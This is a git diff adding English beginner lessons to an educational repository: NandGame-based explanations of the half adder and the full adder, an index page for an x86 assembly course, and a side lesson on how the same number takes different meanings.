+- **l** (low) → **the 1s wire:** the ones digit of the sum.
+- **h** (high) → **the 2s wire:** the twos digit of the sum.
+
+To put it in the language you learned in school: `l` = "**write down**", `h` = "**carry**". In 7+5=12, when you say
+"write 2, carry 1" you're doing exactly the same thing — it's just that our digit doesn't fill up at 9,
+it fills up at 1: 1+1 = "write 0, carry 1" = `10`.
+
+> 🔑 Always read the output with the formula from 04: **sum = 2·h + l.** The two wires aren't two separate
+> answers; they are **the two digits of a single number.**
+
+---
+
+## Build the Table, Spot the Familiar Faces
+
+Write the four possibilities one under another, ask only "how much did it come to?" on each row, and write the result
+as `h l`:
+
+| a | b | a+b | h (2s) | l (1s) |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 0 | 1 |
+| 1 | 0 | 1 | 0 | 1 |
+| 1 | 1 | **2** | **1** | **0** |
+
+Now look at the columns **one by one.** One of the sweetest surprises of this series is waiting for you:
+
+- **The l column:** `0, 1, 1, 0`... You've seen this before. 1 if they differ, 0 if they're the same —
+ **this is the table of XOR.** The "trailer" at the end of lesson 03 came true: this turns out to be XOR's secret
+ identity — *the ones digit of addition.*
+- **The h column:** `0, 0, 0, 1` — 1 only when both are 1... **this is AND.** Makes sense:
+ a carry is born only if *two* 1s come together; the gate that asks the "both of them?" question was already AND.
+
+> 💡 We didn't invent any new gate. Addition — the computer's most fundamental ability —
+> turns out to be two of your old acquaintances (XOR and AND) **looking at the same question from two angles**:
+> XOR asks "what do the ones say?", AND asks "did a pair form?".
+
+---
+
+## The Circuit: Two Old Friends, Side by Side
+
+The design wrote itself. Fork `a` and `b`; give one copy to XOR, one copy to
+AND:
+
+```
+ a ──┬──────────► [ XOR ] ──────► l (write / ones digit)
+ │
+ b ──┴──────────► [ AND ] ──────► h (carry / twos digit)
+```
+
+The two gates are **side by side**, at the same time, looking at the same inputs — one producing the lower
+digit of the sum, the other the upper digit. The name of this box is **half adder**.
+
+---
+
+## Why a "HALF" Adder?
+
+Calling a box that does a perfectly good job "half" seems unfair. It isn't — the box has
+a real shortcoming, and that shortcoming is the very reason the next lesson exists.
+
+Do a multi-digit addition on paper: 27 + 35. The right digit: 7+5=12, "write 2, carry 1".
+Now look at the **middle digit**: 2 + 3 + **1 (carry)** — the middle digit is adding **three things**!
+Every digit has to take into account the carry coming from its right neighbor.
+
+The half adder, however, has only **two inputs.** It has no third mouth to take in an incoming carry.
+So on its own it can only do the job **in the rightmost digit** — it can be the first link of the chain,
+but not a middle one.
+
+> 🔑 **Half adder = an adder that CAN PRODUCE a carry but CANNOT ACCEPT one.** That's what its "half"-ness
+> is. You'll build the "full" version that can accept a carry — the full adder — in the next lesson,
+> and you'll do it using this very box you built today as a part.
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** NandGame → **Arithmetics** section → **Half Adder** level.
+
+This time you know almost everything; when you see the target table in the game, you'll recognize it.
+Build it, then try the four combinations by hand and each time read it off in your head: *"how many apples
+did I count → with which tokens did I pay?"*
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and give them to **both XOR and AND**. XOR's output → `l`,
+AND's output → `h`. Two gates, four wires — you've planted the seed of computer arithmetic.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ At the bottom of everything a computer does there's always addition; its smallest cell is this box.
+☐ 1+1 = 2 = `10` in binary → even a single column needs TWO outputs: l (write) + h (carry).
+☐ Reading: sum = 2·h + l. Two wires = the two digits of a single number.
+☐ The l column = XOR (its secret identity: the ones digit of addition).
+☐ The h column = AND (a carry is born only from two 1s).
+☐ The reason for its "half"-ness: it PRODUCES a carry but CANNOT ACCEPT one → it can only be the rightmost digit.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — where the `2·h + l` formula comes from
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — the construction of XOR and the "secret identity" trailer
+- [06_full_adder.md](./06_full_adder.md) — completing the missing mouth: the adder that accepts a carry
+
+---
+
+**Previous topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+**Next topic:** [06_full_adder.md](./06_full_adder.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along in the company of [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
new file mode 100644
index 0000000..fa8ed50
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
@@ -0,0 +1,231 @@
+# 🔗 From Switches to a Computer — Full Adder: The Carry Chain
+
+> Last lesson you built a box, but it earned a "half" stamp: it produced a carry,
+> but it couldn't accept one. In this lesson you'll complete the missing input. The box
+> you build will be called a **full adder** — and, no exaggeration, this is the **brick**
+> of the arithmetic inside a modern processor: line up 64 of them side by side and you've
+> built the hardware that adds 64-bit numbers.
+
+> This is the most demanding build in the series so far. The difficulty isn't in the parts —
+> they're all familiar — it's in the **way of thinking.** We'll walk the path together,
+> the wrong turn included.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Three Inputs?](#why-three-inputs)
+- [The Box's Entire Logic in One Sentence](#the-boxs-entire-logic-in-one-sentence)
+- [Not Eight Rows, Four Cases](#not-eight-rows-four-cases)
+- [The Wrong Way: "Let Me Add All the Pairs"](#the-wrong-way-let-me-add-all-the-pairs)
+- [The Right Way: Like on Paper, In Order](#the-right-way-like-on-paper-in-order)
+- [The Last Wire: Two Carries, One Output](#the-last-wire-two-carries-one-output)
+- [🎮 Now You Build It](#-now-you-build-it)
+- [Closing: The Chain of 64](#closing-the-chain-of-64)
+
+---
+
+## Why Three Inputs?
+
+Add 27 + 35 on paper and watch what your hand does:
+
+```
+ ¹ ← carry
+ 2 7
+```
+```
+ + 3 5
+ ─────
+ 6 2
+```
+
+- Rightmost digit: 7+5=12 → "write 2, **carry 1**". Here you added **two** things.
+- Middle digit: 2+3+**1** → 6. Here you added **three** things: two digits + the incoming carry.
+
+Every digit in the middle of the chain has three inputs. That is exactly what a full adder
+is: the machine for that middle digit:
+
+> **Full adder = a box that adds a + b + c** — where `c` is the **carry** coming in from
+> the right neighbor. Its output is again two wires: `l` (write) and `h` (the new carry,
+> heading to the left neighbor).
+
+---
+
+## The Box's Entire Logic in One Sentence
+
+Adding three single-bit numbers is really just counting:
+
+> 🔑 **COUNT how many 1s are among the three inputs. Write the resulting number in binary: h l.** That's all.
+
+The count can come out 0, 1, 2, or 3 (there's nothing more than three inputs). You already
+know the binary form of all four from lesson 04: `00`, `01`, `10`, `11`.
+
+---
+
+## Not Eight Rows, Four Cases
+
+In the game an eight-row table will greet you. Don't let it scare you — group the rows by
+the question "how many 1s are there?" and eight rows collapse to four:
+
+| How many 1s? | Which rows | h l | In token language |
+|:---:|---|:---:|---|
+| 0 | 000 | `0 0` | no tokens |
+| 1 | 001, 010, 100 | `0 1` | one 1-token |
+| 2 | 011, 101, 110 | `1 0` | one 2-token |
+| 3 | 111 | `1 1` | 2-token + 1-token |
+
+Make two observations:
+
+- **All three** of the rows with a single 1 give the same answer; so do the ones with two 1s.
+ **Which** input is 1 doesn't matter at all — only the **count** matters. (Just like 7+5
+ and 5+7 being the same.)
+- The half adder's table had no `1 1` output — two inputs count to 2 at most. The only
+ novelty the third input brings is that last row: 3 = `11`.
+
+> 💡 Read the table one more time by **splitting it into floors**: separate the four rows
+> where c=0 and look at h,l — out comes the **exact same table as the half adder's**. Makes
+> sense: if the third basket is empty, a three-basket box has to behave like a two-basket
+> box. This observation is the soul of the circuit you're about to build: inside the full
+> adder, a half adder **lives.**
+
+---
+
+## The Wrong Way: "Let Me Add All the Pairs"
+
+At this level the first idea that comes to mind is usually this (and it's worth trying — the
+wrong way teaches too): *"I have a box that adds two things; so I'll add all the pairs:
+a+b, a+c, b+c... then I'll combine them."*
+
+You place three or four half adders, wire them up, and... you find yourself with a pile of
+outputs and not a single "sum". Each box reports separately "how many 1s are in these two";
+the reports repeat each other and nobody tells you the **overall total**. As the part count
+grows, you get closer not to a solution but to a crowd of wires.
+
+> ⚠️ The lesson here isn't a circuit lesson, it's a thinking lesson: **adding parts is not
+> progress.** If your circuit is growing but your clarity is shrinking, go back to the table
+> and look at the operation *itself*: how were you doing this job by hand?
+
+---
+
+## The Right Way: Like on Paper, In Order
+
+Add 2 + 3 + 4 in your head and pay attention to **what you do**: "2+3 = 5... 5+4 = 9."
+You didn't add all the pairs at once; **you added two, then added the third onto the
+result.** Addition is sequential — the **answer** of one addition becomes the **input** of
+the next.
+
+You know this sentence from lesson 03.5: *the answer of one floor is the signal of the floor
+above.* So then:
+
+1. **First half adder:** let it add `a + b`.
+2. **Second half adder:** let it add `c` onto the first one's result.
+
+One subtlety remains: the first box's result is **two wires** (h and l). Which one do you
+feed to the second box? Think in token language: `c` is a value **in 1-token units** (0 or 1
+apple). The wire that goes on the same scale as it must also be in 1-token units: **`l`.**
+(`h`, on the other hand, is in 2-token units — that belongs on a different scale, and will
+wait off to the side.)
+
+```
+ a ──► [ add ] h₁ ─────────────────────┐ (2-token — waiting)
+ b ──► [ 1 ] l₁ ──► [ add ] h₂ ──────┤ (2-token — waiting)
+ c ──► [ 2 ] l₂ ──────►│──► l ✓ (ones place done)
+ ▼
+ last wire: h = ?
+```
+
+---
+
+## The Last Wire: Two Carries, One Output
+
+You have two h wires in hand (h₁, h₂) but the box has only one `h` output. Both wires shout
+the same sentence: *"I found a pair!"* — the first in a+b, the second in remainder+c. But
+your `h` output's question is: "**is there a pair inside?**" It doesn't care who found the pair.
+
+"If at least one is shouting, h=1" — you know this sentence: **OR.**
+
+But let's be meticulous; OR's table also has a `(1,1) → 1` row. What if both shout at once?
+Two pairs = 4 apples would be needed; three inputs give 3 at most. Still, prove it on paper:
+for h₁=1 you'd need a=b=1 → then l₁ = 0 → 0 and c enter the second box → the second box can
+**never** find a pair. **Two shouts at the same time are impossible.** OR's one suspect row
+will never be visited — use it with confidence.
+
+> 💡 A subtle bonus: since the (1,1) case never occurs, **XOR** — which differs from OR only
+> on that very row — would do the same job. Both pass. That two different gates can do the
+> same task in a circuit feels strange at first — the secret is that they live in a world
+> where their difference is never tested.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** NandGame → **Full Adder** level.
+
+Your directions: two `add`s (the game put your half adder into your box under that name —
+03.5 at work), one OR. Build it, and try a few of the eight combinations by hand: each time
+read out to yourself "how many apples → which tokens".
+
+
+🔒 Solution schematic — try it yourself first, then open
+
+1. `add₁`: inputs **a, b**.
+2. `add₂`: inputs **the l of add₁** and **c**.
+3. **OR**: inputs **the h of add₁** and **the h of add₂** → its output to the box's **h**.
+4. **The l of add₂** → to the box's **l**.
+
+Summary of the summary: *full adder = two half adders + one OR.* But you now say this
+sentence not by rote but knowing the "why" of each of its wires — that's the difference.
+
+
+
+---
+
+## Closing: The Chain of 64
+
+Look at the box you built one last time: it has a carry **input** called `c` and a carry
+**output** called `h`. Which means these boxes... **can plug into each other.** One's h
+becomes the c of the one to its left:
+
+```
+ ... ◄─h─ [FA₂] ◄─h─ [FA₁] ◄─h─ [FA₀] ◄── (first carry: 0)
+ b₂ a₂ │ b₁ a₁ │ b₀ a₀ │
+ l₂ l₁ l₀
+```
+
+Each box is one digit; the carry flows from right to left, just like on paper. Line up 8 of
+them and you've built the hardware that adds 8-bit numbers; line up 64 and it's the hardware
+that adds 64-bit numbers. If a program on your computer just ran an `add` instruction, it
+went through exactly this chain — through 64 copies of **the box you built today.**
+
+Building this chain yourself is the job of the next lesson (and the next level in NandGame):
+**Multi-bit Adder.** See you there.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Full adder = a + b + carry-in. The machine for the MIDDLE digit on paper (three inputs!).
+☐ All the logic: COUNT the 1s, write the number in binary (h l). 8 rows = 4 cases.
+☐ Who is 1 doesn't matter, HOW MANY 1s matters. The c=0 floor = the half adder itself.
+☐ Wrong-way lesson: adding parts isn't progress. Build it the way you do it by hand.
+☐ Addition is SEQUENTIAL: add → then add onto the result. (A floor's answer, the floor above's signal.)
+☐ The wire added to c is l (both in 1-token units); the h's are 2-token, waiting off to the side.
+☐ Two h's can never be 1 at once (paper proof) → OR is enough to combine (XOR would pass too).
+☐ The h output plugs into the neighbor's c input → the chain of 64 = the hardware of the processor's `add`.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_half_adder.md](./05_half_adder.md) — The box that lives inside this circuit twice
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — The basis of "count and write in binary"
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — "The answer is the floor above's signal"
+
+---
+
+**Previous topic:** [05_half_adder.md](./05_half_adder.md)
+**Next topic:** *(on the way — Multi-bit Adder: building the chain of 64)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
new file mode 100644
index 0000000..bc7c8b1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
@@ -0,0 +1,165 @@
+# 🧭 x86 Assembly — Start Here (Really From Scratch)
+
+> A computer is not magic. Inside it there is a worker who does very simple things at an **unimaginable speed**,
+> but who does not have a single gram of imagination.
+> This worker understands only a handful of orders: *"put this number in that box", "add those two together", "jump over there."*
+> Assembly is the art of writing a to-do list for that worker in the **only language** he understands.
+
+> **Who is this course for?** Anyone who knows how to turn on a computer. Never having seen a terminal,
+> never having written a line of code before, not knowing "what does register mean" — all completely normal;
+> we will build all of it from here, from scratch. The only prerequisite: patience and curiosity.
+
+> ✅ **This course is now complete: all lessons from 00 through 20 are written.** And every lesson is not "on paper" — **every program and every GDB output inside it was verified by running it on a real machine.** The path: **Unit 0** (machine model) → **Unit 1** (first instructions, arithmetic) → **Unit 2** (flow: decisions & loops) → **Unit 3** (stack, functions, system calls) → **Unit 4** (the C bridge, where to go from here). Read from start to finish, in order — each unit leans on the previous one.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Course Is NOT](#what-this-course-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [What Will You Be Able to Do at the End?](#what-will-you-be-able-to-do-at-the-end)
+- [The Big Picture: Why Does Assembly Exist?](#the-big-picture-why-does-assembly-exist)
+- [Roadmap — Unit by Unit](#roadmap--unit-by-unit)
+- [How Should You Study?](#how-should-you-study)
+- [If Something Breaks](#if-something-breaks)
+
+---
+
+## What This Course Is NOT
+
+- **Not a fast course.** We won't rush. Every concept will sit on top of the previous one. A stone you skip will trip you up later.
+- **Not a memorization course.** I won't make you memorize a list of instructions. I'll introduce each instruction at the *moment you need it* — that way the question "why does this exist?" never even arises.
+- **Not a program-writing marathon** (but we will write). The goal is first to **understand**: what is the machine actually doing inside? Once you understand that, the code comes on its own.
+- **It does not expect you to know C / Python / "real" programming.** Even if you don't know a single language, you can start here.
+
+---
+
+## First, Let's Break the Fear
+
+Most resources greet you straight away with things like `EAX`, `0xdeadbeef`, `mov dword ptr [ebp-0x4]`, and one rightly says "this isn't for me."
+
+Let me tell you a secret: **the hard part of assembly is not the instructions.** Instructions like `mov`, `add`, `jmp` are surprisingly simple — you'll see in a moment. The real issue is picturing in your head **how the machine thinks** (or rather, *doesn't think*).
+
+Once you've settled this, the rest flows like water. The entire first unit is devoted to this — there **we won't write a single line of code.** We'll only build the picture.
+
+> 💡 Getting stuck, feeling confused, the "am I the stupid one" feeling — all normal, and **everyone** passes through this door. Slowing down here is not a weakness, it's a method. Reading a section twice is no shame; it's advice.
+
+---
+
+## What Will You Be Able to Do at the End?
+
+When you finish this course:
+
+- You'll be able to explain **concretely** what a computer actually does when it "runs".
+- You'll comfortably read binary and hexadecimal numbers.
+- You'll be able to **write and run** your own 32-bit assembly programs (ones that print text to the screen, do arithmetic, make decisions, build loops).
+- You'll be able to follow a program **step by step** with GDB and answer the question "what just happened?".
+- When you compile a C program and look at its assembly, you'll be able to see **patterns you recognize**.
+
+In other words: you'll stop being someone for whom "a computer is a box" and become someone who can see inside it.
+
+---
+
+## The Big Picture: Why Does Assembly Exist?
+
+The languages humans read (Python, C...) are not the languages a computer **understands directly**. The only thing a computer understands is a giant **sequence of numbers** — this is called *machine code*. For example, to tell the processor "put 5 in the EAX box", you actually send it this number: `B8 05 00 00 00`.
+
+Writing these numbers by hand is nearly impossible. **Assembly** is the **human-readable labels** attached to these numbers:
+
+```
+Machine code (what the processor sees): B8 05 00 00 00
+Assembly (what you write): mov eax, 5 ← "put 5 in EAX"
+```
+
+*(But why five numbers for a single 5? The first one — `B8` — is the "put in EAX" order itself; the remaining four numbers are the 4-byte form of 5 as it sits in memory. We'll open this up in [08_mov_ve_bellek](./08_mov_ve_bellek.md) — for now you don't even need to count, just look.)*
+
+The two **correspond one-to-one** — each assembly line is assembled into specific numbers, and there is no magic you don't understand in between. Assembly is the human language closest to machine code. *(We'll also open up separately in [05.5_perde_arkasi](./05.5_perde_arkasi.md) the invisible wrapper — things like `_start`/ELF — that the machine adds to run the program.)* That's why learning assembly = learning what the machine actually does. Higher-level languages (C, Python) are **convenience layers** built on top of this machine.
+
+> 🔑 Keep in mind: **You write assembly → a program called `nasm` assembles it into machine code (numbers) → the processor reads those numbers and does them.** The translator is called an *assembler*; ours is `nasm`.
+
+---
+
+## Roadmap — Unit by Unit
+
+Read the files in this order. Each unit leans on the previous one.
+
+### 🧩 Unit 0 — No Code Yet: Meeting the Machine
+
+> Here **we won't write a single line of code.** We'll only build the machine's mental model. This unit is the foundation of the course; if it isn't laid solidly, nothing above it will hold.
+
+| # | File | What it teaches | Takeaway |
+|:---:|---|---|---|
+| 1 | [01_bilgisayar_nedir](./01_bilgisayar_nedir.md) | Computer = numbered boxes + worker; what "running" means | Mental model |
+| 1.5 | [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) | If "everything is a number", how does a cat video happen; meaning comes from code | Number ≠ meaning |
+| 2 | [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md) | What a terminal is, how to open it, typing a command and reading its output | Your first "I did it" moment |
+| 3 | [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) | Binary/hexadecimal — counting the way the machine counts | Reading addresses and values |
+| 4 | [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md) | Memory (boxes) and registers (the worker's hands) | The field assembly plays on |
+| 4.5 | [04.5_registerin_ici](./04.5_registerin_ici.md) | Inside a register: AL/AH/AX/EAX, "same bits, different window" | Register anatomy |
+
+> 💡 Files whose number ends in `.5` (`1.5`, `4.5`, `5.5`…) are each a short **side lesson**: added to the main road but lighter. If you're in a hurry you can skip them; but frequently-asked points like "how does a cat video become a number?", "what's inside a register?", "what did those instructions do behind the scenes?" are clarified there.
+
+### ⚙️ Unit 1 — First Instructions: Giving the Worker Orders
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 5 | [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md) | `nasm`/`ld`/`gdb` installation, the "write → assemble → run" chain | A program that does nothing and exits |
+| 5.5 | [05.5_perde_arkasi](./05.5_perde_arkasi.md) | Behind the scenes: `./` and PATH, `nasm` vs `ld`, what `_start` really is | (no code) |
+| 6 | [06_ilk_gercek_program](./06_ilk_gercek_program.md) | Value into a register with `mov`, exit code, `echo $?` | A number on the screen: "8!" |
+| 7 | [07_gdb_tek_adim](./07_gdb_tek_adim.md) | Step one instruction at a time in GDB, watch the registers | "Write an instruction → see what changed" |
+| 8 | [08_mov_ve_bellek](./08_mov_ve_bellek.md) | Kinds of `mov`, `[...]` = the place the address in the box points to; first pointer tracking | First pointer intuition |
+| 8.5 | [08.5_little_endian](./08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) | Byte-layout intuition |
+| 9 | [09_aritmetik](./09_aritmetik.md) | `add`, `sub`, `inc`, `dec` | A tiny calculator |
+
+### 🔀 Unit 2 — Flow: Making the Worker Decide
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 10 | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) | Flags (ZF/SF...), `cmp`/`test` | "How the worker remembers a comparison" |
+| 11 | [11_ziplamalar](./11_ziplamalar.md) | `jmp`, `jz`, `jnz`, `jl`, `jg` | An "even or odd" program |
+| 12 | [12_donguler](./12_donguler.md) | A loop with a counter + conditional jump | Countdown from 10, sum of 1..N |
+| 13 | [13_bit_islemleri](./13_bit_islemleri.md) | `and`, `or`, `xor`, `shl`, `shr` | Why `xor eax, eax` means "zero out" |
+
+### 🧱 Unit 3 — Parts and the Operating System
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 14 | [14_stack](./14_stack.md) | `push`/`pop`, why the stack grows downward | The worker's "notepad" |
+| 15 | [15_call_ve_ret](./15_call_ve_ret.md) | Functions, return address, the `call`/`ret` duo | A reusable part |
+| 16 | [16_calling_convention](./16_calling_convention.md) | cdecl: giving data to a part, return value, prologue/epilogue | Calling "add(3,5)" |
+| 17 | [17_sistem_cagrilari](./17_sistem_cagrilari.md) | `int 0x80`, syscall numbers, text/input to the screen | A real "Hello World" |
+| 18 | [18_ilk_etkilesimli_program](./18_ilk_etkilesimli_program.md) | Put it all together | An asm program that asks your name and greets you |
+
+### 🌉 Unit 4 — The Bridge
+
+| # | File | What it teaches |
+|:---:|---|---|
+| 19 | [19_c_ile_assembly_koprusu](./19_c_ile_assembly_koprusu.md) | Compile a tiny C program, look at its asm, see familiar patterns |
+| 20 | [20_buradan_nereye](./20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, exploitation and advanced resources |
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Even if Unit 0 feels boring, don't skip it — everything above it rests on it.
+2. **Run every instruction yourself.** Reading isn't enough; assembly is learned *with your fingertips*. Don't consider a lesson finished until you've written and run a program.
+3. **Watch it in GDB.** If you don't understand what an instruction does, step one at a time in GDB and **see with your own eyes** how the registers/memory change. (We'll set it up in Unit 1.) This is the most powerful learning tool of the whole course.
+4. **Go back when you're stuck.** A term you don't understand has almost always been explained in the *previous* lesson. Going back is normal.
+5. **Slow = fast.** Rushing and half-understanding will cost you double the time later.
+
+---
+
+## If Something Breaks
+
+Throughout this course, getting errors **is part of the job** — programming is already the "get an error, fix it" loop. When an instruction doesn't work, don't panic; most of the time it's a letter/number typo or a skipped step. In Unit 1 we'll also learn to "read the error message".
+
+---
+
+## 🔗 Next Step
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — continue from here. First we'll understand what the machine is; no code at all, we're just building the picture.
+
+> 🎯 **Where to after finishing the course?** This asm foundation is the direct preparation for the **[Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** (*bending* the flow of programs) in the same repo and for the OverTheWire wargames — first learn to *"give the worker orders"*, then learn to *"bend the order."*
+
+---
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
new file mode 100644
index 0000000..3bd6eda
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
@@ -0,0 +1,115 @@
+# 🎨 x86 Assembly — The Same Number, a Thousand and One Meanings
+
+> In 01 we said this: each box in the warehouse holds only a single number, and the worker plays only with numbers.
+> But then a very fair question arises: the cat video you're watching, the song you're listening to, that "A"
+> letter on your screen... where are they? If everything is 1s and 0s, how can a whole movie be nothing but a pile of numbers?
+> In this short interlude lesson we solve exactly that — and the answer, it turns out, was in our hands all along.
+
+> **No code here either.** This is a little "but wait, how does *that* work?"
+> break that comes right after 01. It'll be short; but by the end, the phrase "everything is a number" stops hanging in the air and lands on solid ground.
+
+---
+
+## 📋 Table of Contents
+
+- [A Number, on Its Own, Means Nothing](#a-number-on-its-own-means-nothing)
+- [So How Does That Cat Video Become a Number?](#so-how-does-that-cat-video-become-a-number)
+- [Does the Worker Understand This? No](#does-the-worker-understand-this-no)
+- [Same Issue: Address or Value?](#same-issue-address-or-value)
+
+---
+
+## A Number, on Its Own, Means Nothing
+
+I wrote a big **3** on a piece of paper and handed it to you. What does this 3 mean?
+
+You can't tell — because on its own it means nothing. Is it 3 apples? The 3rd floor of a building? Bus number 3? 3 o'clock? The paper itself doesn't know this; **you give it meaning according to the situation you're in.** The same "3" is a floor number in one place and an apple count in another.
+
+Here it is — the computer's deepest secret is this simple:
+
+> 🔑 A number's meaning lies **not in the digit itself, but in the intent of the code that reads it.** A box in memory might have `72` written in it. This 72 could be an ordinary number, or the letter `H`, or a shade of red, or a moment from a piece of music. The box doesn't know which one it is. **Whoever reads it, and for what purpose** — that's what determines its meaning.
+
+So when we said "everything is a number" we said something incomplete: the correct version is, **everything is a number, and what gives those numbers meaning is the code that uses them.** Now let's see this in the example you're most curious about.
+
+---
+
+## So How Does That Cat Video Become a Number?
+
+Let's start with a picture. Every image on the screen is actually made of **tiny dots** arranged like a grid. These dots are called **pixels** — if you look very closely at your screen (or with a magnifying glass) you can see these little squares.
+
+So how is a single pixel stored? With a few numbers: how **red**, how **green**, how **blue** that dot is. (By mixing these three colors you can get any color.) Each one is a number between 0 and 255:
+
+```
+ A single pixel = 3 numbers:
+
+ ┌─────┬─────┬─────┐
+ │ R │ G │ B │ ← how much Red / Green / Blue
+ │ 255 │ 0 │ 0 │ ← this example: a fully red dot
+ └─────┴─────┴─────┘ (each 0–255)
+```
+
+So that "red dot" you see is, in the machine's eyes, just three numbers: `255, 0, 0`. Line up thousands of pixels side by side and top to bottom — there you have a whole **image**, that is, a gigantic list of numbers. A **video** is then dozens of images (each one called a frame) shown one after another per second, plus its sound. Your cat video, at the very bottom, is nothing but millions of numbers.
+
+But how do these numbers become a colorful image in your eye? Here's the critical point:
+
+> 🔑 What turns the numbers into a picture is not the numbers themselves, but a piece of **hardware** that reads them. The screen is made of millions of tiny lights. A special part (the graphics card / display hardware) reads those pixel numbers in memory and lights up each light exactly according to that number. The hardware that sees "255, 0, 0" makes the light at that dot fully red. When millions of lights turn on correctly at the same time, you see a "cat."
+
+Sound follows exactly the same logic: a song is a list of numbers telling the speaker how much to be pushed at each moment — tens of thousands of numbers per second. A sound chip reads these numbers and moves the speaker; you hear the music.
+
+> 💡 Advanced note: Inside a video or music file these numbers are usually kept **compressed** (otherwise the files would be enormous). How that compression works is a whole topic of its own and not our concern. The only idea that matters for us is this: at the very bottom, everything is numbers that tell the "how much" of something (redness, loudness...); and what makes those numbers meaningful is the code or hardware that reads them.
+
+---
+
+## Does the Worker Understand This? No
+
+This is exactly the moment to recall the "very fast but very dumb worker" from 01. When the worker looks at memory and sees `72`, it doesn't say "ah, this is the letter `H`." The worker **understands nothing** — it knows neither picture, nor letter, nor music. It just carries out the current order in front of it: "take what's in that box," "add this to that," "put it there."
+
+So then who makes the "72 = H" agreement? **Programs** make it. A text program has agreed from the start that "let the number 72 represent the letter `H`" (this agreement is called *character encoding*; the best known is ASCII, which we'll see later). An image program has agreed that "every three numbers is the color of one pixel." The worker knows none of these agreements; it just carries, copies, adds.
+
+> 🔑 Meaning is a silent agreement between the code that **writes** a byte and the code that **reads** it. The worker is not part of this agreement — it applies the orders blindly, and the programs supply the meaning. That's why the same `72` can be a letter in one program's hands and a color in another's; there's no contradiction, because they're reading it with different agreements.
+
+---
+
+## Same Issue: Address or Value?
+
+Now let's go back and see that the confusing distinction from 01 is actually one face of this same principle.
+
+In 01 we said that an address (a box number) and a value (a box's contents) are different things. But both are, in the end, numbers. Say the worker has `5` in its pocket. Is this "they gave me **5 apples**" (a value), or "go to **box number 5**" (an address)?
+
+The worker looks at this 5 and **can't tell** — both are merely 5. Just like the 3 on the paper. Once again the **instruction** gives the answer: one order says "treat this 5 as a value, use it as it is"; another order says "treat this 5 as an address, go fetch box number 5." So the meaning of the 5 is not inside the 5, but in the intent of the order that uses it.
+
+> 💡 Advanced note: Later, when you learn the real syntax, you'll see that telling the machine "treat this number as an address" has a special mark (like square brackets). That mark is precisely the way to set up this agreement explicitly. The details are in [08_mov_ve_bellek](./08_mov_ve_bellek.md).
+
+It all comes down to one and the same sentence: **it's not the number that gives meaning, but the code that uses it.** Put this idea in your pocket — it'll serve you again and again in the rest of the course (especially on the topics of memory, pointers, and addresses).
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A number on its own is meaningless. Its meaning is set by the intent of the code that READS it.
+ - Like the "3" on paper: 3 apples, or 3rd floor? Depends on the situation. The computer is the same.
+☐ "Everything is a number" was an incomplete sentence; the correct one: everything is a number + the code gives those numbers meaning.
+☐ Image = pixels, grid by grid; each pixel = a few numbers (Red/Green/Blue, 0–255).
+ - Red dot = (255, 0, 0). A bunch of pixels = image. Images one after another + sound = video.
+☐ What turns the number into an image is not the number but the HARDWARE: the graphics card reads the numbers, lights the lights.
+ Sound is the same: numbers → sound chip → speaker.
+☐ The worker UNDERSTANDS nothing (01). Programs make the "72 = H" agreement; the worker just carries/processes.
+☐ Address or value? is the same issue: the INSTRUCTION says whether the 5 is a value or an address.
+☐ One sentence: it's not the number that gives meaning, but the code that uses it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "Everything is a number" and the dumb worker idea; where this lesson was born
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The numbers themselves: bit, byte, 0–255, and hex
